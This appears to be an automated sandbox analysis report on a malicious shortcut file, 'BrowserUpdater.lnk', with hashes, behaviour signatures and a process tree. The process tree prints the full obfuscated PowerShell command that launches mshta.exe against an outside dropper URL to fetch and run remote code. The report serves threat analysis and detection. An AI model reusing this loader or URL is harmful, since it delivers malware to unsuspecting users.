Resubmissions

07/08/2024, 21:06

240807-zxvl6sxfkf 10

06/08/2024, 20:12

240806-yzbfmssgqc 10

06/08/2024, 19:51

240806-yk45eaydrn 10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/08/2024, 21:06

General

  • Target

    BrowserUpdater.lnk

  • Size

    2KB

  • MD5

    7ed0b7e22f568d2eedaf956ba831d0a6

  • SHA1

    c073465e6ca109f2069f2e26f28525e66da54bee

  • SHA256

    7a6ad3868f0223896ceea378a056b2568ad6f6ca2e65baaa7b55e1033da3abd7

  • SHA512

    c718e67fb2554d7bbbac60a1a3dae6fe6bcdf4c06c0cababd8b623d52f1d306f9441c27deaaff269e129fb0dcecb17430480b1941b14d95a01d3ffd4c87887cd

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://redr.me/g3boil/

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\BrowserUpdater.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $C='.dmsi:aLSretpobg3hl/'; &(-join($C[(-612+615),(909-903),(148-141)])) :* (-join($C[(-612+615),(909-903),(148-141)])); :* %\ (-join($C[(410-408),(-612+615),(429-412),(-438+449),(909-903)])); foreach($p in @((371-354),(-821+832),(335-324),(-207+219),(-654+657),(740-735),(-129+148),(890-871),(222-213),(-354+364),(-800+801),(683-674),(550-550),(261-259),(462-452),(938-919),(-453+468),(-790+806),(-864+878),(749-736),(-625+629),(626-608),(-363+382))){$Y+=$C[$p]}; %\ $Y;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4484
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://redr.me/g3boil/
        3⤵
        • Blocklisted process makes network request
        PID:4772

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yeuhujxf.ovy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4484-2-0x00007FFE4A033000-0x00007FFE4A035000-memory.dmp

    Filesize

    8KB

  • memory/4484-12-0x0000029E1E2E0000-0x0000029E1E302000-memory.dmp

    Filesize

    136KB

  • memory/4484-13-0x00007FFE4A030000-0x00007FFE4AAF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4484-14-0x00007FFE4A030000-0x00007FFE4AAF1000-memory.dmp

    Filesize

    10.8MB

  • memory/4484-17-0x00007FFE4A030000-0x00007FFE4AAF1000-memory.dmp

    Filesize

    10.8MB